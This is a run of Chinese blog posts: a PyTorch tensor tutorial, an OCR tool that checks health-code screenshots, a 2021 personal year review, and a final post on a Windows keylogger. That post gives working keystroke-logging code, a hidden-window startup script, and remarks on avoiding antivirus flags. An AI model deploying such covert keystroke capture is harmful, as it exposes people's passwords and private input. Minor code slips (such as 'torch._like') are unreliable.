# [ 4., 5., 6., 7.], # [ 8., 9., 10., 11.], # [12., 13., 14., 15.], # [16., 17., 18., 19.]]) A.shape # torch.Size([5, 4]) sum_A.shape # torch.Size([5, 1]) A / sum_A #tensor([[0.0000, 0.1667, 0.3333, 0.5000], # [0.1818, 0.2273, 0.2727, 0.3182], # [0.2105, 0.2368, 0.2632, 0.2895], # [0.2222, 0.2407, 0.2593, 0.2778], # [0.2286, 0.2429, 0.2571, 0.2714]]) 如果想沿某个轴计算A元素的累积总和，比如axis=0（按行计算），我们可以调用cumsum函数。此函数不会沿任何轴降低输入张量的维度。A.cumsum(axis=0) #tensor([[ 0., 1., 2., 3.], # [ 4., 6., 8., 10.], # [12., 15., 18., 21.], # [24., 28., 32., 36.], # [40., 45., 50., 55.]])点积（Dot Product）给定两个向量$\textbf{x},\textbf{y}\in\mathbb{R}^d$，它们的点积（dot product）$\textbf{x}^\top\textbf{y}$（或$\langle\textbf{x},\textbf{y}\rangle$），是相同位置的按元素乘积的和：$\textbf{x}^\top \textbf{y} = \sum_{i=1}^{d} x_i y_i$。y = torch.ones(4, dtype = torch.float32) x, y, torch.dot(x, y) # (tensor([0., 1., 2., 3.]), tensor([1., 1., 1., 1.]), tensor(6.))点积在很多场合都很有用。例如，给定一组由向量$\textbf{x} \in \mathbb{R}^d$表示的值，和一组由$\textbf{w} \in \mathbb{R}^d$表示的权重。$\textbf{x}$中的值根据权重$\textbf{w}$的加权和，可以表示为点积$\textbf{x}^\top \textbf{w}$。当权重为非负数且和为1（即$\left(\sum_{i=1}^{d}{w_i}=1\right)$）时，点积表示加权平均（weighted average）。将两个向量规范化得到单位长度后，点积表示它们夹角的余弦。范数线性代数中最有用的一些运算符是范数（norm）。非正式地说，一个向量的范数告诉我们一个向量有多大。这里考虑的大小（size）概念不涉及维度，而是分量的大小。在线性代数中，向量范数是将向量映射到标量的函数$f$。给定任意向量$\textbf{x}$，向量范数要满足一些属性。第一个性质是：如果按常数因子$\alpha$缩放向量的所有元素，其范数也会按相同常数因子的绝对值缩放：$$ f(\alpha \textbf{x}) = |\alpha| f(\textbf{x}). $$第二个性质是我们熟悉的三角不等式:$$ f(\textbf{x} + \textbf{y}) \leq f(\textbf{x}) + f(\textbf{y}). $$第三个性质简单地说范数必须是非负的:$$ f(\textbf{x}) \geq 0. $$这是有道理的。因为在大多数情况下，任何东西的最小的大小是0。最后一个性质要求范数最小为0，当且仅当向量全由0组成。$$ \forall i, [\textbf{x}]_i = 0 \Leftrightarrow f(\textbf{x})=0. $$范数听起来很像距离的度量。如果你还记得欧几里得距离和毕达哥拉斯定理，那么非负性的概念和三角不等式可能会给你一些启发。事实上，欧几里得距离是一个$L_2$范数：假设$n$维向量$\textbf{x}$中的元素是$x_1,\ldots,x_n$，其$L_2$范数是向量元素平方和的平方根：$$ \|\textbf{x}\|_2 = \sqrt{\sum_{i=1}^n x_i^2}, $$其中，在$L_2$范数中常常省略下标$2$，也就是说$\|\textbf{x}\|$等同于$\|\textbf{x}\|_2$。在代码中，可以按如下方式计算向量的$L_2$范数。u = torch.tensor([3.0, -4.0]) torch.norm(u) # tensor(5.)在深度学习中，更经常地使用$L_2$范数的平方。也会经常遇到$L_1$范数，它表示为向量元素的绝对值之和：$$ \|\textbf{x}\|_1 = \sum_{i=1}^n \left|x_i \right|. $$与$L_2$范数相比，$L_1$范数受异常值的影响较小。为了计算$L_1$范数，要将绝对值函数和按元素求和组合起来。torch.abs(u).sum()$L_2$范数和$L_1$范数都是更一般的$L_p$范数的特例：$$ \|\textbf{x}\|_p = \left(\sum_{i=1}^n \left|x_i \right|^p \right)^{1/p}. $$类似于向量的$L_2$范数，矩阵$\textbf{X} \in \mathbb{R}^{m \times n}$的Frobenius范数（Frobenius norm）是矩阵元素平方和的平方根：$$ \|\textbf{X}\|_F = \sqrt{\sum_{i=1}^m \sum_{j=1}^n x_{ij}^2}. $$Frobenius范数满足向量范数的所有性质，它就像是矩阵形向量的$L_2$范数。调用以下函数将计算矩阵的Frobenius范数。torch.norm(torch.ones((4, 9))) # tensor(6.)矩阵求导TODO
导入包import torch虽然被称为Pytorch，但是代码中使用torch张量张量表示由一个数值组成的数组，这个数组可能有多个维度。具有一个轴的张量对应数学上的向量（vector）；具有两个轴的张量对应数学上的矩阵（matrix）；具有两个轴以上的张量没有特殊的数学名称。可以使用 arange 创建一个行向量 x。这个行向量包含以0开始的前12个整数，它们默认创建为整数。也可指定创建类型为浮点数。张量中的每个值都称为张量的 元素（element）。例如，张量 x 中有 12 个元素。除非额外指定，新的张量将存储在内存中，并采用基于CPU的计算。x = torch.arange(12) x # tensor([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]) # 可以通过张量的shape属性来访问张量（沿每个轴的长度）的形状 x.shape # torch.Size([12]) x.numel() # 12要想改变一个张量的形状而不改变元素数量和元素值，可以调用reshape函数。我们不需要通过手动指定每个维度来改变形状。 也就是说，如果我们的目标形状是（高度,宽度）， 那么在知道宽度后，高度会被自动计算得出，不必我们自己做除法。 在上面的例子中，为了获得一个3行的矩阵，我们手动指定了它有3行和4列。 幸运的是，我们可以通过-1来调用此自动计算出维度的功能。 即我们可以用x.reshape(-1,4)或x.reshape(3,-1)来取代x.reshape(3,4)。X = x.reshape(3, 4) X # tensor([[ 0, 1, 2, 3], # [ 4, 5, 6, 7], # [ 8, 9, 10, 11]]) X.reshape(2,-1) # tensor([[ 0, 1, 2, 3, 4, 5], # [ 6, 7, 8, 9, 10, 11]])有时，我们希望使用全0、全1、其他常量，或者从特定分布中随机采样的数字来初始化矩阵。# 创建一个形状为（2,3,4）的张量，其中所有元素都设置为0 torch.zeros((2, 3, 4)) # tensor([[[0., 0., 0., 0.], # [0., 0., 0., 0.], # [0., 0., 0., 0.]], # # [[0., 0., 0., 0.], # [0., 0., 0., 0.], # [0., 0., 0., 0.]]]) # 同理，所有元素设置为1 torch.ones((2, 3, 4)) # tensor([[[1., 1., 1., 1.], # [1., 1., 1., 1.], # [1., 1., 1., 1.]], # # [[1., 1., 1., 1.], # [1., 1., 1., 1.], # [1., 1., 1., 1.]]]) # 创建一个形状为（3,4）的张量。 其中的每个元素都从均值为0、标准差为1的标准高斯分布（正态分布）中随机采样。 torch.randn(3, 4) # tensor([[ 1.1704, -0.4649, -1.1481, -2.0655], # [-0.1964, 0.3888, 0.2516, -0.5367], # [-0.3829, -0.0578, 0.8739, -1.4293]])还可以用Python的嵌套数组来为所需张量中每个元素赋予确定值torch.tensor([[2, 1, 4, 3], [1, 2, 3, 4], [4, 3, 2, 1]]) # tensor([[2, 1, 4, 3], # [1, 2, 3, 4], # [4, 3, 2, 1]])运算符x = torch.tensor([1.0, 2, 4, 8]) y = torch.tensor([2, 2, 2, 2]) x + y, x - y, x * y, x / y, x ** y # **运算符是求幂运算 # (tensor([ 3., 4., 6., 10.]), # tensor([-1., 0., 2., 6.]), # tensor([ 2., 4., 8., 16.]), # tensor([0.5000, 1.0000, 2.0000, 4.0000]), # tensor([ 1., 4., 16., 64.])) torch.exp(x) # tensor([2.7183e+00, 7.3891e+00, 5.4598e+01, 2.9810e+03])也可以把多个张量连结（concatenate）在一起，把它们端对端地叠起来形成一个更大的张量。只需要提供张量列表，并给出沿哪个轴连结。下面的例子分别演示了当沿行（轴-0，形状的第一个元素）和按列（轴-1，形状的第二个元素）连结两个矩阵时，会发生什么情况。可以看到，第一个输出张量的轴-0长度（$6$）是两个输入张量轴-0长度的总和（$3 + 3$）；第二个输出张量的轴-1长度（$8$）是两个输入张量轴-1长度的总和（$4 + 4$）。X = torch.arange(12, dtype=torch.float32).reshape((3,4)) Y = torch.tensor([[2.0, 1, 4, 3], [1, 2, 3, 4], [4, 3, 2, 1]]) torch.cat((X, Y), dim=0), torch.cat((X, Y), dim=1) #(tensor([[ 0., 1., 2., 3.], # [ 4., 5., 6., 7.], # [ 8., 9., 10., 11.], # [ 2., 1., 4., 3.], # [ 1., 2., 3., 4.], # [ 4., 3., 2., 1.]]), # tensor([[ 0., 1., 2., 3., 2., 1., 4., 3.], # [ 4., 5., 6., 7., 1., 2., 3., 4.], # [ 8., 9., 10., 11., 4., 3., 2., 1.]]))简单地说，前者是上下堆叠，后者是左右堆叠。广播机制在某些情况下，即使形状不同，我们仍然可以通过调用广播机制（broadcasting mechanism）来执行按元素操作。这种机制的工作方式如下：首先，通过适当复制元素来扩展一个或两个数组，以便在转换之后，两个张量具有相同的形状。其次，对生成的数组执行按元素操作。在大多数情况下，我们将沿着数组中长度为1的轴进行广播，如下例子：a = torch.arange(3).reshape((3, 1)) b = torch.arange(2).reshape((1, 2)) a, b #(tensor([[0], # [1], # [2]]), # tensor([[0, 1]])) a + b # 此处体现了广播机制 # tensor([[0, 1], # [1, 2], # [2, 3]])由于a和b分别是$3\times1$和$1\times2$矩阵，如果让它们相加，它们的形状不匹配。广播机制将两个矩阵广播为一个更大的$3\times2$矩阵，矩阵a将复制列，矩阵b将复制行，然后再按元素相加。索引和切片索引和切片操作与Python和pandas中的数组操作基本一致。张量中的元素可以通过索引访问，第一个元素的索引是0，最后一个元素索引是-1；可以指定范围以包含第一个元素和最后一个之前的元素。X[-1], X[1:3] # (tensor([ 8., 9., 10., 11.]), # tensor([[ 4., 5., 6., 7.], # [ 8., 9., 10., 11.]]))除了读取，还可以进行写入操作# 单个赋值 X[1, 2] = 9 X # tensor([[ 0., 1., 2., 3.], # [ 4., 5., 9., 7.], # [ 8., 9., 10., 11.]]) # 多个赋值 X[0:2, :] = 12 X # tensor([[12., 12., 12., 12.], # [12., 12., 12., 12.], # [ 8., 9., 10., 11.]])节省内存运行一些操作可能会导致为新结果分配内存。例如，如果用Y = X + Y，将取消引用Y指向的张量，而是指向新分配的内存处的张量。在下面的例子中，用Python的id()函数演示了这一点，它给我们提供了内存中引用对象的确切地址。运行Y = Y + X后，我们会发现id(Y)指向另一个位置。这是因为Python首先计算Y + X，为结果分配新的内存，然后使Y指向内存中的这个新位置。before = id(Y) Y = Y + X id(Y) == before # False这可能是不可取的，原因有两个：首先，我们不想总是不必要地分配内存。 在机器学习中，我们可能有数百兆的参数，并且在一秒内多次更新所有参数。 通常情况下，我们希望原地执行这些更新。 其次，如果我们不原地更新，其他引用仍然会指向旧的内存位置， 这样我们的某些代码可能会无意中引用旧的参数。幸运的是，执行原地操作非常简单。我们可以使用切片表示法将操作的结果分配给先前分配的数组，例如Y[:] = <expression>。为了说明这一点，首先创建一个新的矩阵Z，其形状与另一个Y相同，使用zeros_like来分配一个全$0$的块。Z = torch._like(Y) print('id(Z):', id(Z)) Z[:] = X + Y print('id(Z):', id(Z)) # id(Z): 1822658475968 # id(Z): 1822658475968如果在后续计算中没有重复使用X，也可以使用X[:] = X + Y或X += Y来减少操作的内存开销。before = id(X) X += Y id(X) == before # True转换为其他Python对象A = X.numpy() B = torch.tensor(A) type(A), type(B) # (numpy.ndarray, torch.Tensor) a = torch.tensor([3.5]) a, a.item(), float(a), int(a) # (tensor([3.5000]), 3.5, 3.5, 3)小结深度学习中存储和操作数据的主要接口是张量（$n$维数组），Pytorch中张量的基本操作与Python数组、Numpy中基本一致，但要特别注意Pytorch中的广播机制。
利用PaddleOCR实现一个粤康码/行程卡识别工具
基本需求有若干粤康码和行程卡的截图，要自动识别是否为当天提交的，粤康码是否绿码，行程卡是否带星实现思路整体的实现思路是：使用PaddleOCR的离线模型实现OCR识别功能，利用pywebio搭建一个简易的web服务，最后使用pyinstaller打包为windows可执行文件。PaddleOCR的离线模型使用的是RapidOCR的实现：https://github.com/RapidAI/RapidOCR，在一开始我想用Paddle官方的Paddlehub工具在服务器上部署一个PaddleOCR工具，但是发现批量识别的时候对服务器内存开销太大了。首先将RapidOCR项目下python/onnxruntime_infer目录下载到本地下载相应模型和用于显示的字体文件百度网盘 提取码：30jv | Google Drive下载之后模型和相应字体文件放在fonts和models下，最终目录结构如下：models |-- ch_PP-OCRv2_det_infer.onnx |-- ch_ppocr_mobile_v2.0_cls_infer.onnx |-- ch_ppocr_mobile_v2.0_det_infer.onnx |-- ch_ppocr_server_v2.0_det_infer.onnx |-- ch_ppocr_server_v2.0_rec_infer.onnx |-- en_number_mobile_v2.0_rec_infer.onnx |-- korean_mobile_v2.0_rec_infer.onnx `-- japan_rec_crnn.onnx fonts |-- msyh.ttc `-- korean.ttf随后编写PyWebIO的脚本from pywebio.input import input, FLOAT, file_upload from pywebio.output import put_text, put_image, put_row, put_scope, put_info, put_processbar,set_processbar from pywebio import start_server from rapid_ocr_api import TextSystem, visualize from PIL import Image from io import BytesIO import time from datetime import date def ocr(image_path): det_model_path = 'models/ch_ppocr_mobile_v2.0_det_infer.onnx' cls_model_path = 'models/ch_ppocr_mobile_v2.0_cls_infer.onnx' # 中英文识别 rec_model_path = 'models/ch_ppocr_mobile_v2.0_rec_infer.onnx' keys_path = 'rec_dict/ppocr_keys_v1.txt' text_sys = TextSystem(det_model_path, rec_model_path, use_angle_cls=True, cls_model_path=cls_model_path, keys_path=keys_path) dt_boxes, rec_res = text_sys(image_path) return rec_res def check(rec_res,img): """ 检查识别到的内容 """ # 所有词语形成一个词典 word_list = [] for i in rec_res: word_list.append(i[0]) # 拼接为一串字符串 words = ''.join(word_list) # 保存文件名，系统导出文件名即为用户名 filename = img['filename'] #判断图片是粤康码还是行程卡 if '粤康码' in words: flag = 'yuekangma' else: flag = 'xingchengka' # 粤康码监测日期与绿码 if flag == 'yuekangma': # 监测粤康码日期 # 粤康码日期是04-20的格式 today = date.today().strftime("%m-%d") # today = '04-21' is_today = False is_green = False if today in words: is_today = True if '绿码' in words: is_green = True if not is_today: put_text(filename,'粤康码信息可能不是今日，请复查') put_image(img['content']) if not is_green: put_text(filename,'粤康码信息可能不为绿码，请复查') put_image(img['content']) # 行程卡判别 if flag == 'xingchengka': today = date.today().strftime("%m.%d") # today = '04.21' is_today = False is_star = False if today in words: is_today = True if '中高风险地区' in words: is_star = True if not is_today: put_text(filename,'行程卡信息可能不是今日，请复查') put_image(img['content']) if is_star: put_text(filename,'行程卡信息可能带星，请复查') put_image(img['content']) def main(): file_path = 'test_images/{}.png'.format(time.time()) put_info('Powered by Hsinyan') put_info("请批量选中粤康码和行程卡上传，系统会自动检查是否符合") imgs = file_upload("Select some pictures:", accept="image/*", multiple=True) count,total = 0, len(imgs) put_text('检测中，共{}张'.format(total)) put_processbar('bar') for img in imgs: # 显示进度条 set_processbar('bar', count / total) count +=1 put_text() image = Image.open(BytesIO(img['content'])) image.save(file_path) rec_res = ocr(file_path) # put_image(image) check(rec_res,img) set_processbar('bar', 1) put_text('检测完毕！') if __name__ == '__main__': start_server(main,8866)此处将PaddleOCR识别出的字符拼接为一个，然后根据关键词检验是否为今日的记录。比如：粤康码的日期格式为「04-20」，则可以按照此在字符串中匹配子串，同理匹配「绿码」关键字可以确定是否为绿码在行程卡检验中，日期格式为「04.20」，当行程卡带星时，会有中高风险地区提升，则匹配「中高风险」字符串即可。然后建议新建一个虚拟环境，使用pyinstaller打包安装相关命令如下pyi-makespec -c web_service.py 随后修改生成的web_service.spec文件，如下# -*- mode: python ; coding: utf-8 -*- from pywebio.utils import pyinstaller_datas .... a = Analysis( ... datas=pyinstaller_datas(), ... )然后打包生成pyinstaller web_service.py会在dist文件夹下生成一个可执行文件随后把相关资源文件夹复制到可执行文件（exe）的同级目录下可能会弹出相关警告，同意即可访问localhost:8866，批量上传图片耐心等待检验即可，若图片有问题时，系统会弹出来，进行复核就行了。未来工作显示使用耗时优化字符串匹配的算法，提高识别效率
2021 年，我都做了些什么一、前言每当我静下心来仔细回想自己的 2021 年，一切好像过得特别快，又好像过得特别慢；好像做了很多事情，又好像什么都没做；好像自己成长了很多，又好像一切都还在原地踏步。2021 年依旧是被新冠疫情改变的一年，但是随着我们的思维和生活被它深刻的介入，它构成了巴迪欧等人所宣称的「事件」——偶然的断裂涌现，并且持续地延宕到现在，成为我们生活的一个背景。我想了很久要用一种怎样的方式来复盘我的 2021 年，才会让读起来不至于像流水账，最终决定还是以时间线为线索，串联一下我对 2021 年的回忆。这篇自己 2021 年的年度总结文章，从 1 月初回到家后开始动笔，今天终于跟自己的拖延症做了最后的斗争，写完了这篇总结。二、2021 年开发的项目2021 上半年基本上每天都在 coding，这是一整年我最享受的一段时光。作为一名开发者，你编写的每一行代码就像承载你思想和智慧的 DNA 片段，我最大的成就感来自于自己的开发的东西能够得到了用户的喜爱，能够潜移默化地改变一些人的工作和生活。技术最好的使用场景就是能够用它来替代人类，去完成那些枯燥乏味的工作。校勤工俭学工资申报系统这是从校学生处承接下来的一个项目，搭建这个申报系统的目的，是对我校勤工俭学工资申报流程进行信息化改造，这是今年花费时间最多，也是带给我收获最多的一个项目。在分析了系统的主要需求后，决定使用 Python 的 Django 框架进行开发，Django 自带大量 Web 开发常用工具和框架，适合快速开发此类应用，同时它自带的数据库 ORM 组件和管理系统 admin，对开发此类管理系统来说，可以省去不少的代码量，开发中可以专注于主要业务逻辑的书写。另外，系统的前端页面我采用的是 Tailwind，Tailwind 是我 2021 年新接触的一个 CSS 框架，使用 Tailwind 来创建原型和实现定制设计是非常快的，比大多数其他 CSS 框架快得多，而且具有深度的可定制性。系统上线之后，学生可以在系统上申报勤工工资，学院/二级部门管理员可以在后台对这些工资申请进行管理、审批和导出当月报表，校级/一级管理员可以对勤工信息进行归档整理，统筹工资发放。21 年 3 月份在全校 15 个二级学院中试运行，4 月份开始在全校范围内推广使用后，稳定运行至今，截至今天系统拥有用户 1000 余人。自投入应用以来，解决了以往工作存在的管理散、效率低等问题，极大地提高了助学管理工作的效率和质量，达到了预期的效果，得到了学校领导的表扬，已成为学校日常运作中不可或缺的一部分。还记得在大一的时候，我给自己定了个目标：就是开发一款全校人都使用的小程序，当时想起来觉得自己的能力还是差的挺远的。现在想起来，自己竟然在大三完成了自己当初给自己定下的目标，算是我大学里值得骄傲的一件事情，很感谢学生处的老师们能够信任我给我这次机会。在今年年底，在这个项目的基础上组队参加了 2021 年高校易班技术创新大会，获得了「自主应用研发」类的省级一等奖，国家二等奖，也算是意外之喜了。会通楼空课室查询系统这个系统源自于自己的一次临时起意，这次心血来潮也让我收获了大家的认可。5 月开始，我所在的校区开始大范围整修，整个校区只剩下一栋教学楼在课室没课的时候可以开放给同学们自习，但是在实际运行中会发现有一个很大的弊端，同学们不知道课室在哪个时间段课室是空着的，课室既没有课，也没有被借出。举个我自己亲身经历的例子，在 5 月的某一天晚上，我在会通楼想找一个空课室，来写完我的课程论文，连续三次刚找到空课室，刚收拾好没多久就有借了课室的同学来把我赶走，这的确让人火大。于是我论文也不写了，我就在想想我能做些什么。问题主要出现在信息差上，大部分同学们不知道可以通过教务平台查询空课室，即便知道的也会因为繁琐的步骤而望而却步。即便如此，教务系统上的课室信息并未包含系统借出的，而这部分借出课室的信息，需要通过另一个系统拥有特定权限的账号才可以查询，两者数据整合到一起，才可以得到最为准确的空课室信息。但是这部分工作量实在太大了，为何不能由我来做一个资源的整合呢，说干就干。花半个小时的时间写好了空课室信息自动更新脚本，再用 Django 快速搭建了一个简易的 Web 查询平台 demo，由于前端 UI 框架套用的勤工系统，所以开发起来特别快，前后花的时间加起来不超过两个小时。忙完已经是凌晨 1 点，回宿舍的路上我发了一条朋友圈将这个系统介绍给大家用，没想到第二天这个系统居然掀起了一点小波澜。带系统二维码的海报被传到了校内各个群，还得到了权小益的转发，由于在系统上留了微信号，微信几乎被加爆了。其实系统本身并没有什么技术含量，我只是将我手上可以获得到的资源进行了整合，写了自动化脚本，方便自己也方便同学寻找自习室。摸着良心讲，我预料到同学们会对这个系统有好的反应，但是反应如此之大是却是让我始料不及的。由于使用的同学比较多，后续还更新了几个呼声较大的功能：支持按照时间段查询，以及增加了对仙溪校区的支持。下半年在备考期间，也保持着对系统的维护，科技向善，能够帮助到他人对我来说是最开心的一件事情。系统详细的介绍可以看下面这两篇推文https://mp.weixin.qq.com/s/QxhB8mYS9XRyv7L7sMSq1ghttps://mp.weixin.qq.com/s/jZkVaxJZHI3MDbIyDNonJw其他一些小项目学院学工管理平台这是配合学院易班开展活动的一个平台，由我主持开发，老师给予了极大的自由度，基于 Django-allauth 重写了 Django 的用户系统，由于用户功能的完善，使得系统的可拓展性十分高，现在这个系统包括查寝、党史学习打卡、运动记录打卡、体测成绩查询、青年大学习未学习名单查看等特色功能。学院党建主题网站学院党建项目需要一个开发一个主题网站，和团队成员自行设计并且从零设计并搭建了一个网站，缺点是没有针对手机端页面进行适配，总体上还是比较满意的。建党百年头像献礼建党百年的一个特色活动，纯前端静态页面，使用 fabric.js 让用户上传头像并且生成头像框，算是一个比较有趣的应用。说课打分系统受专业课老师所托，开发了一个说课打分系统，需求能够在页面上实时显示最新打分情况，对并发量有一定的要求，在这个项目学习到了一些应对高并发的处理方式，也算是一种特殊的收获。三、技术学习2021 年对技术上的学习其实是有些懈怠的。算法方面，在年初为了准备面试，重新梳理了一遍自己半吊子的数据结构与算法知识，刷了约莫一个多月的 LeetCode，当时自己还能写得出 LRU 和红黑树的代码，直到后面面试碰壁准备考研，也就减少了对算法的学习。到今天写这篇文章的时候，算法水平已经退化到一个相当低的水平了，这玩意还是得多写多练，才能提高自己的水平。今年自己几个项目都使用到了 Django，于是在闲暇时间阅读学习了 Django 的源码，一开始以为自己对 Django 足够熟悉，读起来应该会是得心应手，但是发现这是一个深坑，光是搭建 Django 源码的 debug 调试环境就要花去我一天的时间。但是这种通过阅读源码反刍自己学习的方式却令我受益匪浅，到了今天我也还没读完 Django 的源码，QuerySet 部分的源码学习了接近三个月的时间才断断续续地读完，新的一年立个 flag，希望能够读完 Django3.x 的源码。由于有监控的需求，今年还搭建了 Prometheus + Grafana 的监控平台，能够对基于 api 做一些简单的二开。由于部署的需要，容器和容器编排也学习了一些，现在能够按照要求自己编写一些 docker-composed 配置文件了。由于需要实现异步任务，新接触了 Cerely，对 Redis 更加熟悉了，花时间拜读了 redis-cli 的源码。为了整活，用 Jenkins 搭建了自己基于容器化项目的 CI/CD，但是自己没整明白，不敢在生产环境用。……2021 年基本上都是基于项目需求学习相应的技术，学的比较杂，学得也不深，业界前沿的一些东西并没有接触多少，新的一年希望能够在继续修炼好内功的同时，多往深了学习一些常用的吧。四、考研谈起 2021 年，绕不开的一个事情肯定是考研，本来年初都做好了找工作准备，在刷算法题和背八股文了，但是在春招找实习岗的时候由于自己院校专业的原因，过了技术面倒在了 HR 面。对我自己而言，本科专业不是计算机类专业始终让我难以释怀，也深感自己在学科基础知识方面与其他同学的差距，没有系统学过这类知识，始终是一种缺憾。以上两个原因，促成我做成考研的决定，最终结合自身的条件，决定报考西南某双非计算机特色院校的软件工程专业。虽然 4 月左右就决定考研，但是当时还在学院任职、专业课的课程的压力也不小，平日里分给考研复习的时间具体下来不到三个小时，背背单词和看数学基础课视频就差不多结束了。真正开始进入复习状态，是从 7 月暑假开始的，假期学校不提供留宿，便在学校附近租了一个小单间，由于我对自己有深刻的认知，知道凭借自己的自制力，是不可能老实待在出租屋学习的，最后在祖庙商圈一间自习室办了两个月的卡，也就正式开始这半年时间的复习。暑假期间的复习基本上都是在打基础。数学跟的武忠祥和李永乐的强化课，看完课程后将书上例题自己重新做一遍，再选做一些课后的习题，现在看来还是对自己太温柔了，训练量实在太少，为最后考研时数学的尿崩埋下了伏笔。我的专业课只有一门书，暑假两个月的时间大概前后过了得有三四遍，得亏是暑假时间将专业课基础打牢稳住了基本盘，到了后期发现完全没有时间来补这些基础。英语的复习完全交给了阅读，一天一篇加精读，一开始正确率相当惨淡，一套试卷 20 道题只能对个 7、8 道，到最后慢慢找到了感觉，假期结束阅读保持在了一篇最多错 1 个的水平，速度也略有提高了。政治我是在 8 月才开始的，马原看的徐涛的强化课视频，政治其他三科觉得看的有点浪费时间就自己看书了，每复习完一章做对应的 1000 题。9 月开学回到学校之后其实是 emo 了一阵的，学习效率也明显降低，因为不确定学校的防疫政策，而且校内自习室资源相当紧缺，到后面也是感谢辅导员老师的帮助，为我们争取到了几间相对固定的自习室，这才逐渐好了起来。9 月基本都是对一些知识进行扫尾，数学对强化部分的习题进行二刷，寻找知识漏洞。专业课开始做真题，大概一两天一套卷子，做完一轮后统计出错的地方，针对自己薄弱的地方回炉重造。英语上就开始三小门的准备，说实话这三门除了新题型有比较强的方法论，翻译和完型在我看来都是考察一些基本功：即阅读+单词，前面基础打好这部分也没遇到太多的问题。政治直到 11 月底都还没开始准备大题，都在梳理知识点，1000 题应该刷了得有三遍，还记得当时刷五位一体的多选题红了一大片时的崩溃。11 月后离考研就越来越近了，从那时候对自己处于一个怎样的水平就有一个清晰的认知了。这个时候自己有有点进入懈怠期开摆了，数学每天一套真题/模拟卷再查漏补缺，英语每天背单词加一两套阅读，政治每天刷上一百道左右的选择题再看看错的知识点，专业课上就只是整理一些代码题的模板，以上做的这些基本都是在保持做题感觉和调整到考试的状态。大后期其实没什么好说的，我也不像励志故事的主角那样起早贪黑，基本上每天就是保持状态，等着考试那天的到来。到了 12 月身边一些考研的同学的心态也发生了一些变化，有的人心态崩了，有些人弃考了，一对比我反而不像一个正在考研的人。最后自己也就稀里糊涂上了考场了，稀里糊涂地考完了，除了数学其他三科自己都还觉得满意，也就给这段旅程告一段落了。五、写在最后去年我 23 岁，马上就到本命年了，过去一年好像什么事也没做成。不过这一年，学习思考，写代码交朋友，越来越清晰，知道自己想要什么，要做什么。新的一年希望自己能够继续前行在给自己制定的规划上，继续做自己喜欢的事情，我深知计划赶不上变化，人生总是充满了各种意外，但是我仍希望可以朝着自己定下的那个方向去努力，同时也非常期待这条路上的所有意外。感谢一切的遇见，谢谢我的家人，以及帮助过我的朋友们。新的一年来了，旧的一年已经离去，时间从不回头，失意的，懊丧的，后悔的，都已经发生，已经抛在身后，于是一切又重新开始，又都是新的可能，这一年，我们理应更了解自己，也许不用那么卷，也许我们应该向着那个更豁达，更温柔，更体谅自己的人生，多前进一步，对自己好一点，抱抱你自己。Hsinyan2022 年 1 月 22 日
前言最近遇到一个需求，需要监测键盘输入，将其输出到指定的文件中保存，代码本身不复杂，但是配置脚本在 Windows 环境中自启的时候遇到了一些麻烦。脚本代码from pynput.keyboard import Listener, Key import logging from datetime import date directory = f"D:/key" // 日志文件保存路径 today = str(date.today()) logging.basicConfig(filename=f"{directory}/{today} log.txt", level=logging.DEBUG, format="[%(asctime)s]: %(message)s") def on_press(key): logging.info(key) def on_release(key): pass with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()解决思路pyinstaller+nssm使用 pyinstaller 将 Python 程序打包为 exe 文件，并且使用 nssm 配置为系统服务，nssm 是一个服务封装程序，它可以将普通 exe 程序封装成服务，使之像 windows 服务一样运行。同类型的工具还有微软自己的 srvany，不过 nssm 更加简单易用。相关配置可以参考：Windows 使用 NSSM 将任意 exe 封装为服务 - 终点站此思路在我自己的电脑上测试正常，但是在其他人电脑上 exe 程序会被 windows 防火墙误杀，查了很多资料才得知是 python 代码中使用了 OS 库，涉及了敏感操作会被杀毒软件误杀，所以要么不用 python 自带的 os 库，要么使用别的方法进行配置。pythonw+设置开机自启 bat使用 python 命令运行 py 文件，会保留 cmd 窗口，当窗口误关闭时，程序就会中断，这不是我们想要的。查询相关资料得知有 pythonw 这个东西，pythonw 是无窗口的 Python 可执行程序，意思是在运行程序的时候，没有窗口，代码在后台执行。既然如此，就可以写这样的 bat 脚本@echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~0 h",0)(window.close)&&exit :begin start /b cmd /k "pythonw D:\keylogger.py"最后一行是使用 pythonw 执行你的 python 脚本，将这个 bat 脚本设置为开机自启即可。具体设置步骤如下：win+r 输入 shell:startup将写好的 bat 脚本拖入，便会开机自启动总结总的来说，要设置 Python 脚本开机后台自启，持续运行，将 python 程序打包成可执行文件(exe)文件，再使用 nssm 配置为系统服务，如果使用到了 os 库，则会有被杀软误杀的可能，建议使用下面的方法pythonw+开机自启 bat，这种配置起来比较麻烦，需要在使用的机上安装 Python 环境，才可以正常使用，不过不会报毒。